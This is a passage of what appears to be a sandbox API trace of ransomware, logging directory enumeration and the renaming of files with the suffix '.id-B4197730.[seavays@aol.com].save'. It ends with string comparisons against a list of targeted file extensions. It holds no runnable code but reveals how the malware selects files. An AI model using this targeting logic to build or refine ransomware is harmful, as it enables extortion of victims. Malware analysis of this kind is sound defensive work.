ftLastWriteTime.dwLowDateTime=0x87c24f3, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13076, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.883] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x767047d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x767047d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x769659b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.884] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x767047d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x767047d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x769659b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.884] FindClose (in: hFindFile=0x4531ec0 | out: hFindFile=0x4531ec0) returned 1 [0158.885] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0158.885] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1 [0158.885] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0158.885] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName=".", cAlternateFileName="")) returned 0x4531bc0 [0158.888] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="..", cAlternateFileName="")) returned 1 [0158.888] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87ea1d0, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x87ea1d0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x87ea1d0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.888] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x88f366e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x88f366e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8919802, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x12d16, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.889] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x769659b, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x769659b, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x76bc70d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.889] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x769659b, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x769659b, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x76bc70d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.889] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0158.890] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0158.890] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1 [0158.891] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0158.891] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName=".", cAlternateFileName="")) returned 0x4531b80 [0158.893] FindNextFileW (in: hFindFile=0x4531b80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="..", cAlternateFileName="")) returned 1 [0158.893] FindNextFileW (in: hFindFile=0x4531b80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8919802, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8919802, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8919802, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.893] FindNextFileW (in: hFindFile=0x4531b80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x893fada, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x893fada, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x912574a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xee06, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.893] FindNextFileW (in: hFindFile=0x4531b80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x76e2aad, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x76e2aad, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7f90157, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.893] FindNextFileW (in: hFindFile=0x4531b80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x76e2aad, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x76e2aad, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7f90157, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.893] FindClose (in: hFindFile=0x4531b80 | out: hFindFile=0x4531b80) returned 1 [0158.894] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0158.894] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1 [0158.894] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0158.894] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName=".", cAlternateFileName="")) returned 0x4531f40 [0158.896] FindNextFileW (in: hFindFile=0x4531f40, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="..", cAlternateFileName="")) returned 1 [0158.896] FindNextFileW (in: hFindFile=0x4531f40, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8a70cc6, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8a70cc6, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8a96f1a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.897] FindNextFileW (in: hFindFile=0x4531f40, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8a96f1a, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8a96f1a, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8a96f1a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13a76, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.897] FindNextFileW (in: hFindFile=0x4531f40, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e129c1, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e129c1, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e129c1, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.897] FindNextFileW (in: hFindFile=0x4531f40, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e129c1, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e129c1, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e129c1, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.897] FindClose (in: hFindFile=0x4531f40 | out: hFindFile=0x4531f40) returned 1 [0158.898] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0158.898] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1 [0158.898] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0158.898] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName=".", cAlternateFileName="")) returned 0x4532500 [0158.900] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="..", cAlternateFileName="")) returned 1 [0158.900] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8abdf43, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8abdf43, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x927cc87, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.900] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8b2fa3c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8b2fa3c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8b2fa3c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.901] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e129c1, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e129c1, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e38b7a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.901] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e129c1, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e129c1, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e38b7a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.901] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0158.902] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0158.902] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1 [0158.902] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0158.902] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName=".", cAlternateFileName="")) returned 0x4531dc0 [0158.904] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="..", cAlternateFileName="")) returned 1 [0158.905] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8b55c13, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8b55c13, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8b55c13, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.905] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8b7c082, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8b7c082, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9387cb5, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13976, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.905] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e38b7a, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e38b7a, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e38b7a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.971] lstrlenW (lpString="SetupResources.dll.id-B4197730.[seavays@aol.com].save") returned 53 [0158.971] lstrlenW (lpString=".1cd") returned 4 [0158.971] lstrcmpiW (lpString1=".1cd", lpString2="save") returned -1 [0158.971] lstrlenW (lpString=".3ds") returned 4 [0158.971] lstrcmpiW (lpString1=".3ds", lpString2="save") returned -1 [0158.971] lstrlenW (lpString=".3fr") returned 4 [0158.971] lstrcmpiW (lpString1=".3fr", lpString2="save") returned -1 [0158.971] lstrlenW (lpString=".3g2") returned 4 [0158.971] lstrcmpiW (lpString1=".3g2", lpString2="save") returned -1 [0158.971] lstrlenW (lpString=".3gp") returned 4 [0158.971] lstrcmpiW (lpString1=".3gp", lpString2="save") returned -1 [0158.971] lstrlenW (lpString=".7z") returned 3 [0158.971] lstrcmpiW (lpString1=".7z", lpString2="ave") returned -1 [0158.971] lstrlenW (lpString=".accda") returned 6 [0158.972] lstrcmpiW (lpString1=".accda", lpString2="].save") returned -1 [0158.972] lstrlenW (lpString=".accdb") returned 6 [0158.972] lstrcmpiW (lpString1=".accdb", lpString2="].save") returned -1 [0158.972] lstrlenW (lpString=".accdc") returned 6 [0158.972] lstrcmpiW (lpString1=".accdc", lpString2="].save") returned -1 [0158.972] lstrlenW (lpString=".accde") returned 6 [0158.972] lstrcmpiW (lpString1=".accde", lpString2="].save") returned -1 [0158.972] lstrlenW (lpString=".accdt") returned 6 [0158.972] lstrcmpiW (lpString1=".accdt", lpString2="].save") returned -1 [0158.972] lstrlenW (lpString=".accdw") returned 6 [0158.972] lstrcmpiW (lpString1=".accdw", lpString2="].save") returned -1 [0158.972] lstrlenW (lpString=".adb") returned 4 [0158.972] lstrcmpiW (lpString1=".adb", lpString2="save") returned -1 [0158.972] lstrlenW (lpString=".adp") returned 4 [0158.972] lstrcmpiW (lpString1=".adp", lpString2="save") returned -1 [0158.972] lstrlenW (lpString=".ai") returned 3 [0158.972] lstrcmpiW (lpString1=".ai", lpString2="ave") returned -1 [0158.972] lstrlenW (lpString=".ai3") returned 4 [0158.972] lstrcmpiW (lpString1=".ai3", lpString2="save") returned -1 [0158.972] lstrlenW (lpString=".ai4") returned 4 [0158.972] lstrcmpiW (lpString1=".ai4", lpString2="save") returned -1 [0158.972] lstrlenW (lpString=".ai5") returned 4 [0158.972] lstrcmpiW (lpString1=".ai5", lpString2="save") returned -1 [0158.972] lstrlenW (lpString=".ai6") returned 4 [0158.972] lstrcmpiW (lpString1=".ai6", lpString2="save") returned -1 [0158.972] lstrlenW (lpString=".ai7") returned 4 [0158.972] lstrcmpiW (lpString1=".ai7", lpString2="save") returned -1 [0158.972] lstrlenW (lpString=".ai8") returned 4 [0158.973] lstrcmpiW (lpString1=".ai8", lpString2="save") returned -1 [0158.973] lstrlenW (lpString=".anim") returned 5 [0158.973] lstrcmpiW (lpString1=".anim", lpString2=".save") returned -1 [0158.973] lstrlenW (lpString=".arw") returned 4 [0158.973] lstrcmpiW (lpString1=".arw", lpString2="save") returned -1 [0158.973] lstrlenW (lpString=".as") returned 3 [0158.973] lstrcmpiW (lpString1=".as", lpString2="ave") returned -1 [0158.973] lstrlenW (lpString=".asa") returned 4 [0158.973] lstrcmpiW (lpString1=".asa", lpString2="save") returned -1 [0158.973] lstrlenW (lpString=".asc") returned 4 [0158.973] lstrcmpiW (lpString1=".asc", lpString2="save") returned -1 [0158.973] lstrlenW (lpString=".ascx") returned 5 [0158.973] lstrcmpiW (lpString1=".ascx", lpString2=".save") returned -1 [0158.973] lstrlenW (lpString=".asm") returned 4 [0158.973] lstrcmpiW (lpString1=".asm", lpString2="save") returned -1 [0158.973] lstrlenW (lpString=".asmx") returned 5 [0158.973] lstrcmpiW (lpString1=".asmx", lpString2=".save") returned -1 [0158.973] 